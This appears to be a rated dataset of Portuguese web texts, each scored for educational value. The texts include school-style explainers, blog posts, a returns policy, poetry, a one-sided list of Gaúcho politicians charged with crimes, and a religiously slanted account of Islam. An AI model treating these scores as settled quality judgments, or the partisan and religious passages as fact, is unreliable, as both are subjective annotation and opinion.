Kukkiwon +Em 1977 foi formado o Kukkiwon, após um consenso entre as diferentes escolas de taekwondo. Esse instituto foi criado para funcionar como a casa internacional do taekwondo, e isso é muito importante, pois naquela época foi a instituição oficialmente homologada para entregar as faixas pretas obtidos na disciplina. +Federação Internacional de Taekwon-Do (ITF) +O general Choi fundou a organização de taekwondo conhecida como ITF na década de 1960, após uma bem-sucedida turnê de exibição de taekwondo pela Europa e América. Esse processo foi de vital importância para o esporte, pois fez com que ele ganhasse popularidade fora da Ásia. +O taekwondo nos dias de hoje +Vem aí o UFC 267: Jan Blachowicz x Glover Teixeira +Amanda Nunes, a melhor lutadora do UFC +Derrick Lewis x Ciryl Gane no UFC 265: cinturão interino peso pesado +C...",original,original,original,original,3,0.6 +"Já se sentiu perdido diante de um problema de matemática? Calma, isso acontece com todo mundo! A boa notícia é que resolver problemas não precisa ser um bicho de sete cabeças. Com as ferramentas certas e um pouco de prática, você pode se tornar um mestre na arte de desvendar esses desafios. + +O primeiro passo é entender o que o problema realmente está pedindo. Leia com atenção, sublinhe as informações importantes e identifique as palavras-chave. Por exemplo, se o problema fala em ""dividir igualmente"", já sabemos que a operação de divisão será fundamental. Transforme as informações em algo visual, como um desenho ou diagrama. Isso ajuda a organizar as ideias e a visualizar a situação. Imagine que você precisa calcular quantos pedaços de pizza cada pessoa comerá em uma festa. Desenhe a pizza, divida-a e conte os pedaços! Fica muito mais fácil, não é? + +Agora, escolha a estratégia certa. Muitas vezes, um problema pode ser resolvido de diferentes maneiras. Experimente! Comece com as operações básicas: adição, subtração, multiplicação e divisão. Se o problema envolve porcentagens, lembre-se de transformar a porcentagem em fração ou decimal antes de fazer os cálculos. Em problemas mais complexos, pode ser útil usar a ""tentativa e erro"", ou seja, chutar um valor e verificar se ele funciona. Se não funcionar, ajuste o valor e tente novamente. Essa estratégia pode te ajudar a entender melhor o problema e a encontrar a solução correta. + +Depois de resolver o problema, confira a sua resposta. Ela faz sentido? A unidade de medida está correta? Se o problema perguntava sobre o número de maçãs, a resposta deve ser um número inteiro, não um número decimal. E se você encontrou a resposta, ótimo! Mas não pare por aí. Tente resolver o mesmo problema de uma maneira diferente. Isso te ajudará a fortalecer o seu raciocínio lógico e a desenvolver novas habilidades. + +Lembre-se, a prática leva à perfeição. Quanto mais problemas você resolver, mais fácil se tornará. Não tenha medo de errar! O erro faz parte do aprendizado. Use-o como uma oportunidade para entender onde você errou e como pode melhorar. E, o mais importante, divirta-se! A matemática pode ser desafiadora, mas também pode ser muito divertida. Comece com problemas simples e vá aumentando a dificuldade gradualmente. Em breve, você estará resolvendo problemas complexos com a maior facilidade! Que tal começar agora mesmo? Pense em um problema do seu dia a dia que envolva matemática e tente resolvê-lo. Você vai se surpreender com o que é capaz de fazer! + +E aí, pronto para se tornar um mestre na resolução de problemas? Acredite em si mesmo e não desista! A matemática está em toda parte e, com um pouco de esforço, você pode dominá-la.",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima (5) por apresentar um conteúdo altamente relevante e proveitoso para fins educacionais no ensino fundamental, abordando a resolução de problemas matemáticos de forma clara, consistente e motivadora. O texto utiliza uma linguagem acessível, oferece estratégias práticas e incentiva a prática e a persistência, sem apresentar informações irrelevantes ou conceitos inadequados para o nível de escolaridade.",5,1.0 +"Você sabia que o isolamento social causa problemas na bainha de mielina? | Mistérios do Cérebro +Mistérios do Cérebro +Para os amantes do sistema nervoso +> Isolamento social > Você sabia que o isolamento social causa problemas na bainha de mielina? Você sabia que o isolamento social causa problemas na bainha de mielina? +Suzana Benitez Deixe um comentário +Aqui estamos nós de novo! Hoje o tema é: formação da bainha de mielina e suas complicações decorrentos do isolamento social precoce. Sabe-se que o isolamento social (quando jovem) resulta em alterações comportamentais, como dificuldades de interação com outras pessoas, e também alterações cognitivas no ser humano. Quando um estudo foi feito em macacos rhesus, observou-se que eles possuíam complicações na memória também. As alterações decorrentes do isolamento social, ocorrem principalmente nas regiões de substância branca do cérebro (aquelas regiões onde predominam os axônios com suas bainhas de mielina, ou seja, local onde passam fibras que irão conectar vários neurônios dentro do cérebro), e principalmente, em uma região chamada córtex pré-frontal. +Sendo assim, um grupo de pesquisadores de Harvard pesquisaram se o isolamento social afetava, de alguma forma, a bainha de mielina. Para isso, eles utilizaram camundongos com idade de 21 dias, e deixaram eles isolados (um em cada gaiola) por 2 ou 4 semanas. Compararam esses camundongos com outros que viveram pelas mesmas semanas em condições normais, ou seja, com mais camundongos nas gaiolas. +Alguns dos resultados dessa pesquisa foram que os oligodendrócitos (as células responsáveis por produzir a bainha de mielina ao redor dos neurônios) dos animais isolados eram mais simples, com menos prolongamentos, com menos ramificações e a bainha de mielina se tornou mais fina. Além disso, houve redução na expressão de genes relacionados com a produção da bainha de mielina e mudanças na produção do neurotransmissor dopamina. Com tudo isso, que eles determinaram, é que, após um período crítico de isolamento social de camundongos jovens (que é de 2 semanas), a maturação de oligodendrócitos foi prejudicada. Isso tudo promoveu alterações de comportamento social e também afetou prejudicou a memória dos camundongos isolados. +Mas o que tem a ver os oligodendrócitos com os comportamentos sociais? Uma das coisas que pode ser levada em conta, é que a espessura da bainha de mielina fica menor, fato este que diminui a velocidade da condução do impulso nervoso dentro do axônio. Isso pode desencadear um processamento anormal da informação, o que culmina com comportamentos prejudicados e falta de memória. Uma outra possibilidade é de que as alterações na produção de dopamina estejam contribuindo para produzir alterações comportamentais e também alterações de memória. +Ou seja galerinha, a maturação de oligodendrócitos é dependente de experiência social! Por isso, futuros e atuais papais e mamães, proteção é importante, mas vamos com calma! As crianças precisam ter interação com outras crianças e outras pessoas para o correto desenvolvimento do seu sistema nervoso! +Fonte: Manabu Makinodan, et al. A Critical Period for Social Experience–Dependent Oligodendrocyte Maturation and Myelination. Science. 2012. +Se você gostou do que leu, compartilhe 😉 +Compartilhe:E-mailImprimirTwitterFacebookLinkedInGoogle +Categorias:Isolamento social +Tags:bainha de mielina, comportamento, dopamina, isolamento social, oligodendrócitos, sistema nervoso +Comentários (1) Trackbacks (1) Deixe um comentário +Flavia 20/03/2013 às 22:39 Resposta Adorei +22/08/2014 às 11:10 Isolamento social encurta a sua vida! | Mistérios do Cérebro Deixe um comentário! Cancelar resposta Insira seu comentário aqui... +A cor da xícara altera o sabor do seu chocolate quente +A supercadeira de Stephen Hawking +Mistérios do Cérebro no Facebook! Mistérios do Cérebro no Facebook! +Posts recentes Falando com pacientes em estágio avançado de Esclerose Lateral Amiotrófica +Como estudar a esquizofrenia? +O vírus Zika pode ser...",original,original,original,original,3,0.6 +"Trocas e Devoluções - Open Clothing | E-shopping de moda masculina. +Entre em contato conosco através da nossa Central de Atendimento para solicitar a troca ou a devolução da compra. Esta solicitação deverá ser feita em até 07 dias corridos a contar da data do recebimento do produto adquirido em nosso site. +2. PRODUTO APRESENTOU DEFEITO APÓS O USO: +Entre em contato conosco através da nossa Central de Atendimento, e relate o defeito/vício apresentado. A solicitação deverá ser feita no prazo máximo de 90 dias a contar da data de recebimento do produto, conforme prevê o CDC (Código de Defesa do Consumidor). O custo de devolução do produto será uma cortesia da Estilo New Old. A avaliação de defeitos será realizada no prazo máximo de até 30 dias após o recebimento do produto pelo site, conforme norma do Código de Defesa do Consumidor. +3. EMBALAGEM DANIFICADA OU DE ERRO NA ENTREGA: +Se ao receber o seu produto, constatar que a embalagem está danificada ou violada, ou que houve um erro na entrega, como por exemplo, o envio de pedido diferente do pretendido, você deverá entrar em contato imediatamente através da nossa Central de Atendimento, pelo telefone (11) 8587-7152 Observação: Caso a embalagem esteja avariada o cliente deverá recusar o recebimento. +4. A TROCA OU DEVOLUÇÃO NÃO SERÃO ACEITAS QUANDO: +- Não for constatado o defeito relatado pelo cliente; - Não houver a devolução do produto ou se estiver desacompanhado da Nota-Fiscal, caixa e acessórios; - Houver indícios de uso do produto; - Houver indícios de defeito causado propositalmente; - For constatado desgaste natural em decorrência do uso. Nestas hipóteses, o produto será devolvido ao cliente nas mesmas condições e sem aviso prévio. +5. RESTITUIÇÃO E ESTORNO DE VALORES: +- Caso sua compra tenha sido realizada através de cartão de crédito, o estorno ocorrerá conforme o procedimento adotado pela Administradora do Cartão do cliente. Para pagamento por boleto bancário, ocorrerá em 7 dias úteis, após o recebimento e análise das condições do(s) produto(s) pelo site Open Clothing - O prazo para restituição / estorno do valor pago ou crédito se inicia-se somente após o recebimento do produto devolvido e análise pelo setor de qualidade.",original,original,original,original,2,0.4 +Bem vindo ao gpguia de acompanhantes mais completo de Quilometro Null do Mutum - ES. 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Às vezes, as respostas não são óbvias, mas sempre fazem as crianças rir. +IMAGINE NO JOGO, CRIE NO MUNDO REALCom o editor de personagens exclusivo do Papermates, você pode transformar seus personagens favoritos! Um gato-coelho se transforma em um coelho-lobo pintadinho! E o Aristóteles, o alce, torna-se Horácio, o cervo! Desenhe ou tire fotos para adicionar ao visual de qualquer personagem. Depois, imprima os modelos especialmente preparados para que seu filho possa brincar com eles na vida real! Prepare o papel e a tesoura! +• 6 locais de jogo: floresta de papel, cozinha, sala do Aristóteles, consertos na casa de Léo o filhote de leão, jardim, Ilha Misteriosa• 14 personagens – cada personagem pode ser personalizado, impresso e dobrado para criar um brinquedo de papel!• Estúdio interativo de criação de personagens• As crianças exploram e aprendem• Todos os objetos do jogo são interativos• Use fotos para criar novos padrões• Para meninos e meninas• Total liberdade criativa – no Papermates, você nunca perde o jogo• Otimizado para smartphones e tablets",original,original,original,original,2,0.4 +"O filósofo, poeta, compositor e escritor alemão Friedrich Nietzsche (15 de outubro de 1844 – 25 de agosto de 1900) está entre as mentes mais duradouras, influentes e mais citadas da humanidade – e ele parecia incrivelmente confiante de que acabaria assim. Nietzsche chamou a população de filósofos de “cabeça de repolho”, lamentando: “É meu destino ter que ser o primeiro ser humano decente. Tenho um medo terrível de que um dia serei declarado santo ”. Em uma carta, ele considerou a perspectiva da posteridade apreciar seu trabalho: “ Parece-me que pegar um livro meu em suas mãos é uma das mais raras distinções. que qualquer um pode conferir a si mesmo. Eu até suponho que ele retira os sapatos quando o faz – para não falar de botas. +Um século e meio depois, o ego saudável de Nietzsche mostrou-se amplamente correto – por uma razão espantosa e surpreendentemente moderna: a garantia que ele oferece de que as maiores recompensas da vida brotam de nossa adversidade. Mais de um século antes de nossa celebração atual do “presente do fracasso” e nosso fetichismo do fracasso como um canal para o destemor , Nietzsche exaltou esses valores com igual pompa e perspicácia. +Em um exemplar particularmente emblemático de seus muitos aforismos, redigido em 1887 e publicado na seleção póstuma de seus cadernos, A vontade de poder ( biblioteca pública ), Nietzsche escreve sob o título “Tipos de meus discípulos”: +“A todos com quem realmente me importo, desejo sofrimento, desolação, doença, maus-tratos, indignidades, o profundo desprezo por si, a tortura da falta de autoconfiança e a desgraça dos derrotados”. +Em sua visão, para conquistar algo que valha a pena o homem tem de fazer um grande esforço. +(Meio século depois, Willa Cather ecoou com ar de pungência este sentimento em uma carta conturbada a seu irmão : “O teste da decência de alguém é o quanto de uma briga se pode colocar depois que alguém deixou de se importar.” ) +Com sua assinatura mistura de sagacidade e sabedoria, Alain de Botton – que contempla temas como as funções psicológicas da arte e o que a literatura faz pela alma – escreve no conjunto maravilhoso The Consolations of Philosophy ( biblioteca pública ): +Sozinho entre os repolhos, Nietzsche percebera que dificuldades de todos os tipos seriam bem recebidas pelos que buscavam satisfação. +Não apenas isso, mas Nietzsche também acreditava que as dificuldades e a alegria operavam em uma espécie de relação osmótica – diminuindo um diminuiria o outro – ou, como Anaïs Nin memoravelmente escreveu: “a grande arte nasceu de grandes terrores, grande solidão, grandes inibições, instabilidades… e isso foi o que sempre a manteve equilibrada. +”Em The Gay Science seu tratado sobre poesia onde seu famoso“ Deus está morto ”foi cunhado, Nietzsche escreveu: +E se o prazer e o desprazer estivessem tão ligados que quem quisesse ter o máximo possível de um também deveria ter o máximo possível do outro – que quem quisesse aprender a “jubilar até os céus” também teria que estar preparado para a “depressão até a morte”? +[…] +Você tem a escolha: ou com o mínimo de desprazer quanto possível , a falta de dor em resumo … ou o máximo de insatisfação possível com o preço para o crescimento de uma abundância de prazeres sutis e alegrias que raramente foram apreciadas ainda? Se você decide pelo primeiro e deseja diminuir e baixar o nível de dor humana, você também tem que diminuir e baixar o nível de sua capacidade de alegria . +Ela estava convencido de que as vidas humanas mais notáveis ​​refletiam essa osmose: +Examine as vidas das pessoas mais produtivas e mais proveitosas e pergunte a si mesmo se uma árvore que deveria crescer até uma altura orgulhosa pode passar sem tempo ruim e tempestades; Se desgraça e resistência externa, alguns tipos de ódio, inveja, obstinação, desconfiança, dureza, ganância e violência não pertencem às condições favoráveis sem as quais não é possível um grande crescimento, mesmo de virtude. +De Botton destila as convicções de Nietzsche e seu legad...",original,original,original,original,4,0.8 +"Hoje vou escreve sobre a dificuldade que nos encontramos ao estudar outro idioma. +Quando comecei a estudar inglês, um amigo me perguntou se era difícil aprender inglês. Na época que respondi que depende do seu grau de interesse e dedicação ao estudo do idioma, entretanto todos nos temos nossas limitações, tais como a falta de tempo ou dinheiro, entre outras. Porém a maior limitação somos nós mesmos, sim NÓS! +Muitos acreditam que, ao começar a estudar inglês ou qualquer outro idioma vão sair fluentes de um dia para outro, vão dormir hoje e acordar falando inglês amanhã. O aprendizado de qualquer natureza é processo gradativo e lento. +Essa dificuldade fica ainda maior quando estudamos por conta própria, sozinho, sem professor ou alguém com mais experiência na língua para nos ajudar e nos incentivar a melhorar nosso inglês. +Em qualquer área da sua vida estes dois temos iram impactar positivamente ou negativamente o seu projeto. Lamentavelmente nossa população é escassa em tempo, devido ao estilo de vida que nos levamos, principalmente nas grandes cidades. Dedicar 1 ou 2 horas diárias para estudar inglês é uma tarefa árdua ou quase impossível para muitas pessoas, obrigando-as a estudarem uma ou duas vezes na semana. Como não veem resultados (até por que 1 vez na semana é muito pouco) acabam por desistir de aprender inglês.",original,original,original,original,2,0.4 +"Novas produções da Record sofrem atrasos por falta de planejamento | Detona TV +Novas produções da Record sofrem atrasos por falta de planejamento +Guilherme Winter, protagonista de ""Os Dez Mandamentos"" O resultado da lambança e falta de planejamento da Record começam a fic... +Guilherme Winter, protagonista de ""Os Dez Mandamentos"" +O resultado da lambança e falta de planejamento da Record começam a ficar evidentes. Além da audiência ter despencado no horário nobre, a emissora mantém emperrada a produção de duas grandes novelas bíblicas para este ano. +Segundo a Record, as gravações da segunda temporada de “Os Dez Mandamentos” começariam em janeiro deste ano. Só que não! A jornalista Patrícia Kogut informa que a Record ainda não convocou o elenco da produção para retomar as atividades. O atores aguardam o chamado da emissora sem ter qualquer informação sobre o retorno. Parte da equipe técnica da trama está envolvida em outros projetos. A empresa trabalha com o mês de março para iniciar a transmissão dos novos capítulos. +Sobre a “A Terra Prometida”, nos bastidores da Record é cogitado que a trama sofra com alguns atrasos e isso deve resultar em uma nova data de lançamento. Lembrando que a previsão de estreia da nova novela bíblica é 30 de maio, correndo risco de ser adiada. As externas começarão neste mês, no entanto, os trabalhos em estúdio ficarão para março. Renato Modesto, autor da trama, já entregou 32 capítulos para a produção da novela. +É rotina a Record atrasar suas produções, o desafio é por um ponto final nelas. +Detona TV: Novas produções da Record sofrem atrasos por falta de planejamento +http://4.bp.blogspot.com/-UUPDOgzXkHY/VpUVNo4adII/AAAAAAAAAqc/CCSgsxAk0b0/s640/novela-b%25C3%25ADblica.jpg +http://4.bp.blogspot.com/-UUPDOgzXkHY/VpUVNo4adII/AAAAAAAAAqc/CCSgsxAk0b0/s72-c/novela-b%25C3%25ADblica.jpg +https://www.detonatv.com.br/2016/01/sem-planejamento-novas-producoes-da.html +http://www.detonatv.com.br/2016/01/sem-planejamento-novas-producoes-da.html",original,original,original,original,1,0.2 +"SURREALHUMANITY FALAM DA NECESSIDADE PREMENTE DE INSTAURAR UMA NOVA FORMA DE ESTAR NA POLÍTICA +Se analisarmos. com insenção e acuidade, as multifacetadas tomadas de posição dos políticos, neste novo período, já sem Muro de Berlim, dito em crescendo de globalização, - à escala do mundo, vulgarmente, tido como ocidental- facilmente concluiremos estar em curso uma estranha espécie de postura estereotipada : além de um enorme respeito pelas ""medidas de tendência central"" por parte do eleitorado, numa imutável alternância entre partidos praticamente desprovidos de diferenças fracturantes no plano concreto da activação dos seus programas, é manifesta, por um lado, toda uma sensação de impunidade quando toca a erros políticos graves, aliviada por uma predisposição de imunidade parlamentar que permite que a culpa continue a morrer solteira, enquanto que, por outro, se torna difícil confiar nos principais candidatos a líderes, visto teimarem prometer aquilo que, mais tarde, não chegam a cumprir. +Quase que é nosso desejo, aqui, afirmar, com todas as letras, que a tecnocracia e a mediocracia, ao se declararem como dois novos grandes poderes, acabam por fazer os políticos reféns dos seus próprios ditames geoestratégicos e interesses de circunstância. +Honestamente, acreditamos, na esteira do pensador francês André-Comte Sponville, que a verdadeira e única resposta deve advir da ética. Não há volta a dar, a não ser esta. Moralizar a política. Voltar a centralizá-la no Homem, retomando os ensinamentos de Atenas. Encará-la como uma forma de servir as populações e a res publica, o bem comum. Pensar, de novo, no interesse colectivo em detrimento do interesse individual. Basicamente, moralizar toda a classe política e a sua forma de legitimação permanente. +Os SurrealHumanity defendem, basicamente, a instauração de um sistema novo, a nível do mundo democrático europeu ocidental, capaz de premiar o verdadeiro mérito dos candidatos e o seu verdadeiro ""altruísmo político"". +O acesso a lugares cimeiros deve exigir, da parte dos candidatos interessados, todo um perfil idóneo e de competência comprovada, em função das áreas de intervenção e das pastas a tutelar : +uma sólida formação académica de base, com vincada especialização nas áreas de supervisão ; +redução das regalias e mordomias, designadamente, nas elevadas pensões a assegurar pelo erário público, depois de um mandato ou dois ; +um background de experiência no terreno comprovada, aquando da sua actividade profissional ; +submissão à definição de um sistema de competências ""apertada"", do ponto de vista da jurisprudência constitucional, passível de minimizar, preventivamente, o actual cenário de reiteradas falas promessas eleitorais, em que já ninguém acredita - a começar pelas luvas brancas dos nulos, dos brancos e da pesada abstenção em prol de uma tarde solarenga na praia. +Um cidadão do século XXI exigirá, como é evidente, ser tratado como um Sujeito autêntico, caso contrário o sistema corre sérios riscos de vir a implodir, num ápice. +Por exemplo, porque não pensar na possibilidade de um dado movimento, que surja por vontade expressa dos cidadãos, poder ter assento parlamentar efectivo, com razoável interferência na decisão do plenário, no seu todo ? +A actividade política e correspondente agenda passariam a ditar, sazonalmente, temáticas diversas para o seio da própria sociedade civil, para que, passado um determinado período de tempo definido, esta se pudesse pronunciar, com voz activa, junto dos ilustres parlamentares. +No fundo, a nossa ideia é propor um novo tipo de Parlamento mais aberto à participação dos cidadãos : 5 % dos actuais lugares de deputado passariam a ser ocupados por novos membros independentes, em representação da mais genuína Sociedade Civil, eleitos por movimentos organizados em função de temáticas suscitadas pela própria agenda parlamentar, por um prazo mínimo de seis meses e sem direito a renovação, o que acabaria por levar a uma redução do número de candidatos - a Regra de...",original,original,original,original,2,0.4 +"A Poesia de Chris Andrade! ( Brisa do Mar) +Teu Encanto Teu encanto te torna mais próximo Conseguiu enfeitiçar meu coração As duvidas hoje se foram As certezas chegaram com tua doçura +Estar longe ou perto Sentir você presente ou ausente nada muda Não sei se foi em sonhos ou fantasias Mais as mais lindas frases foram ditas No esplendor da amizade No encanto das palavras Você surgiu sorridente Tornando o mundo simples Brisa do Mar +Quisera me amar Ah! quisera você me amar Do jeito que te amo Sonhar os mesmos sonhos Viver a vida com amor +Quisera buscar em ti A alegria de amar De saciar nossos desejos Quisera ver em ti As flores coloridas O sol brilhando Mesmo assim Você é um sonho E fico aqui Esperando você Vir comigo Ah! se você vier comigo Tudo terá valor Minha vida terá cor. Brisa do Mar +Sentimentos da Alma Fecho meus olhos Sinto minha alma Abro meu coração Que fala ao teu +Perco as palavras Procuro pelas estrelas Encontro a Lua Respiro a brisa Deito nas nuvens Procuro resposta Procuro um amor maior Entrego-me ao tempo Meus sentimentos afloram Minha alma clama Viajo em pensamento E encontro meus sentimentos. Brisa do Mar +Escrevo Amor Com várias letras escrevo teu nome... Com quatro letras escrevo AMOR... quatro letras esquecida por muitos, quatro letras vivida por muitos. +Vivo o amor... mistura de sedução, de entrega total. Mistura do romantismo com bem querer... Meu coração dispara com teu olhar, a vontade louca de se entregar. Teu corpo presente no meu, tua alma invade todo meu ser. Na noite tranquila que me entrego a você, tua sedução fertiliza minha alma. Quero viver momentos mais nesse amor que me entreguei... Você sabe o quanto fez, num mundo nosso... Um mundo vivido intensamente, onde não existe desperdicios... apenas entregas, verdades e paixão. Brisa do Mar +MISTÉRIOS Teu Olhar Esconde mistérios Esconde segredos... Meus desejos estão presos nesse seu olhar. +Desejos fortes Incompreensíveis, Que fazem de minha felicidade Rumores de sedução, Causado por um forte desejo. O coração dispara Quando se choca com esse misterioso olhar, O sorriso vai desaparecendo E os pensamentos vão tomando conta... Conta do espírito Que está em chamas, Chamas de vontade De desvendar os mistérios Que se esconde Nesse Teu Olhar!!! Brisa do Mar +POR QUE Por que buscam saber de nós Quando simplesmente sempre foi apenas nós? O que atraem tanto as pessoas a nossa relação que nada tem de especial. +Será que o meu amor foi tão diferente Ou será por que o deles nada é? O que fomos nada foi além do que vivemos Mais nada disso será o mesmo a eles. O amor que tenho a você é único e intransferivel somente a você pertence. Meu amor não diminui Não se cansa Não desmancha Apenas se manda. Você vive em mim E hoje sei que também vivo em você. Ainda me sinto tua de maneira pura. Minha alma ainda é tua e sempre será tua na certeza que nunca deixará de ser tua. Brisa do Mar +VOCÊ SURGIU Um dia você surgiu de uma manhã de céu azul com sol a brilhar. O teu rosto gravei e teu olhar penetrei +Teu olhar pode ser de Belo ou Fera O espelho dos meus sonhos. Mais o que realmente é, não sei. O teu sorriso sempre alegre e feliz Mais quando chora ninguém vê. Deverias ter colhido tuas lágrimas e sorrisos e guardado numa caixinha. Hoje a distância é apenas um detalhe Onde temos que se a cada dia mais forte e saber que o tempo acabou. Meu tempo se foi, mas meu amor ficou. Se antes nada mais podia fazer agora é apenas caminho a percorrer. Ao olhar o mar, teu reflexo lá está e para sempre permanecerá. E assim sempre que eu estiver junto ao mar poderei ver teu olhar. E nele ver que você está bem e feliz. E meu caminhar cada dia mais leve, vou deixando o peso da saudade. Apenas restando em mim a felicidade que quero pra ti. Brisa do Mar +FAÇAMOS UM TRATO Que nossos olhos se olhem Que nossas mãos se cruzem Que nossos beijos se prolongue Que tua voz me seduza +Que teu jeito me conduza Que teu abraço me envolva. Façamos um trato... me reconquiste e me faça tua! Brisa do Mar +Tudo tem uma razão ...",original,original,original,original,3,0.6 +"Você já parou para pensar em como o mundo está cheio de seres vivos incríveis? Ao nosso redor, vemos animais e plantas de todos os tipos, tamanhos e cores! Eles são muito importantes para a nossa vida e para a vida do planeta. Vamos descobrir juntos um pouco mais sobre esse mundo fascinante! + +Primeiro, vamos falar dos animais. Os animais são seres vivos que precisam se alimentar para obter energia. Eles podem ser grandes, como um elefante, ou pequenos, como uma formiga. Alguns animais vivem na água, como os peixes e as baleias, outros vivem na terra, como os leões e os cachorros, e alguns até voam, como os pássaros e as borboletas! Cada animal tem um jeito especial de viver, de se alimentar e de se proteger. Por exemplo, você já viu um gato caçando um rato? Ou um cachorro abanando o rabo quando está feliz? Cada um desses comportamentos faz parte da vida do animal e o ajuda a sobreviver. + +Agora, vamos falar das plantas. As plantas também são seres vivos, mas elas são diferentes dos animais. As plantas produzem seu próprio alimento através de um processo chamado fotossíntese. Para fazer isso, elas precisam de luz do sol, água e gás carbônico. As plantas nos dão muitas coisas importantes, como o ar que respiramos, a comida que comemos e a sombra que nos protege do sol. Você já viu uma árvore dando frutos? Ou uma flor desabrochando na primavera? As plantas são lindas e essenciais para a nossa vida! + +As plantas e os animais estão interligados. As plantas servem de alimento para muitos animais, e os animais ajudam a espalhar as sementes das plantas, permitindo que elas se reproduzam. É como se fosse uma grande rede, onde cada um tem um papel importante. Imagine as abelhas voando de flor em flor, coletando o néctar e, ao mesmo tempo, ajudando a polinizar as plantas! Sem as abelhas, muitas plantas não conseguiriam se reproduzir, e muitos animais não teriam o que comer. + +Portanto, é muito importante cuidarmos dos animais e das plantas. Devemos proteger as florestas, não poluir os rios e oceanos, e respeitar todos os seres vivos. Afinal, todos nós fazemos parte do mesmo planeta e dependemos uns dos outros para viver em harmonia. Que tal plantar uma árvore ou cuidar de um jardim? Ou quem sabe observar os animais que vivem perto da sua casa? Ao fazer isso, você estará contribuindo para um mundo mais verde e saudável para todos!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre animais e plantas, relevantes para o ensino fundamental, com linguagem acessível e exemplos práticos. Introduz conceitos como fotossíntese e interdependência entre seres vivos de forma clara, incentivando o respeito ao meio ambiente. Sua abordagem é adequada para os anos iniciais e finais do ensino fundamental, promovendo a conscientização e o aprendizado sobre o mundo natural.",5,1.0 +"Cresci com um conceito totalmente equivocado enraizado em minha mente. Acreditava que o Rio Grande do Sul era o estado “mais politizado do país”. Sem entrar nos detalhes pra não alongar o texto, em um determinado momento da vida acordei e meus olhos se abriram para a realidade, indo contra a corrente narrativa: a maioria dos livros de história que li apresentavam revolucionários facínoras como heróis. Alguns deles, infelizmente, gaúchos. Nesse sentido, elaborei um lista com os dez piores políticos que esse estado já teve. Refiro-me às pessoas públicas, políticas, obviamente – que são e foram sustentadas com dinheiro dos contribuintes. De forma mais ou menos cronológica, vamos à lista. +1) Luiz Carlos Prestes (1898 – 1990): é impossível não começar a lista com um homem acusado de trair a Pátria. Isso ocorreu após ele afirmar que, numa guerra entre Brasil e URSS, lutaria por seu herói: Stálin. Prestes recebeu treinamento em Moscou e voltou para o Brasil, onde promoveu uma série de barbáries. +Antes, com a Coluna Prestes e o tenentismo, de 1925 a 1927, marchou por 25 mil quilômetros. Diziam querem destituir as oligarquias, o que era em parte verdade, mas acabaram levando terror ao interior do Brasil. Há extensos relatos de saques, mortes de inocentes e estupros. Por onde a coluna passou, houve terror. +O herói da esquerda também tentou nos transformar em União Soviética tropical na Intentona Comunista. E tem mais: Prestes foi condenado à prisão pela morte da jovem Elza, em verdade Elvira Cupello Colônio, no ano de 1936. A garota, acusada de ser espiã nos quadros do partido comunista, terminou esquartejada, colocada num saco e enterrada no quintal da casa no bairro de Guadalupe (RJ). Tudo a mando de Prestes. Obviamente, essa parte é silenciada e camuflada quando contada pelos professores de história e historiadores brasileiros. O certo é que Prestes tentou a todo custo implantar o bolchevismo soviético no Brasil, propondo a ditadura do proletariado. No entanto, com todo esse histórico carniceiro – pasmem! – o Cavaleiro da (des)Esperança foi homenageado pelos porto-alegrenses com um Memorial milionário. +2) Getúlio Vargas (1882 – 1954): o ditador populista gaúcho de São Borja foi o precursor das amarras trabalhistas burocráticas que atrasaram o Brasil ao longo de 80 anos. Como ditador à frente do Estado Novo, perseguiu opositores, fechou jornais e impediu o livre pensar com repressão vergonhosa. Isso para resumir. +3) João Goulart, o “Jango” (1918 -1976): também nascido em São Borja, o 24° presidente do país (1961 a 1964) foi um frouxo entreguista. Colocou a soberania nacional em risco ao flertar com comunistas carniceiros como Fidel Castro. É adorado por um sociólogo de Porto Alegre que, evidentemente, também foi apaixonado por Fidel. +4) Leonel Brizola (1922 – 2004): é impossível deixar de fora da lista outro entreguista, esse nascido em Carazinho. Fez escolas, é verdade. Mas também recebeu dinheiro de Cuba para comprar armas e tocar uma revolução no Brasil, o que, sabemos, nos transformaria num Camboja de tamanho continental. Isso o absolve? Lógico que não. Como governador do Rio de Janeiro fez acordos com bicheiros e também deixou a zona livre para os traficantes crescerem. A polícia ficou de mãos amarradas para combater o crime. No fim, ainda foi o último a desembarcar do famigerado governo Collor de Mello, outro oligarca que terminou impichado. Defendeu o alagoano quase até os estertores, apesar da roubalheira que vinha à tona. +5) Dilma (Ha)Vana Rousseff: não adianta nós, gaúchos, tentarmos jogar a bomba aos mineiros, onde a Sra. Pasadena nasceu. Aquela que veio a ser a 36ª presidentE do Brasil até sofrer um justo (mas demorado) impeachment em 2016, teve toda sua formação política e ideológica no Rio Grande do Sul. Formou-se na UFRGS. Não adianta. Nós criamos esse Frankenstein político. Como revolucionária, juntou-se a tudo o que não presta: foi membro do Comando de Libertação Nacional, que depois se juntou à Vanguarda Popular Revo...",original,original,original,original,2,0.4 +"Eder Silva †: O que é o Islamismo? +Impressionado pela desunião dos homens entre si, mortificava-se e rezava nas montanhas. Diz ele que, certa vez, na ""Noite do Destino"", teve uma visão: em sonho, um estranho personagem lhe deu um livro (rolo), o Corão ou Alcorão. Ele, então, sentiu que Deus lhe dava a missão de reformar as crenças, pôr termo à idolatria e às disputas religiosas do povo árabe, indicando a todos o caminho do céu. Diz ele que julgava-se perseguido por espíritos, quando, certa vez, a estranha voz lhe declarou: ""Sou o anjo Gabriel e tu serás o apóstolo do Senhor"". +Daí para frente, pôs-se a pregar nova forma de religião: o ""Islã"" ou, em árabe, a Submissão, Dedicação à Vontade de Deus. Maomé apoiava-se na fé em um só Deus, Alá, criticando os cultos pagãos. Isso irritou a aristocracia de Meca, que o perseguiu. Transferiu-se, então, para a cidade de Medina na noite de 16 de julho de 622. Esse acontecimento ficou com o nome de Hidjra ou Hegira, Fuga, e marca o início da era maometana. +Em Medina, Maomé, apoiado pela população, fortaleceu-se e agrupou adeptos. Em 629, conseguiu entrar em Meca e tomou posse do famoso santuário desta cidade, ""a Caaba"", donde removeu os ídolos. Nos anos seguintes, foi dilatando o seu poder mediante guerras. Em 08 de junho de 632, morreu; mas já tinha conseguido unir os árabes e lançá-los, unidos, à conquista de numerosas nações com a prática da ""guerra santa"", Jihah, em nome de Alá. +As fontes doutrinárias do Islã são o código sagrado do Corão (em Árabe, recitação, declamação, recitado no culto) e a tradição oral dita Sunna. É uma religião monoteísta, reconhece um só Deus Criador, derivado do monoteísmo judaico-cristão. Maomé nunca se apresentou como o fundador de uma religião nova, e sim como o novo profeta de tradições mais antigas. A sua teologia 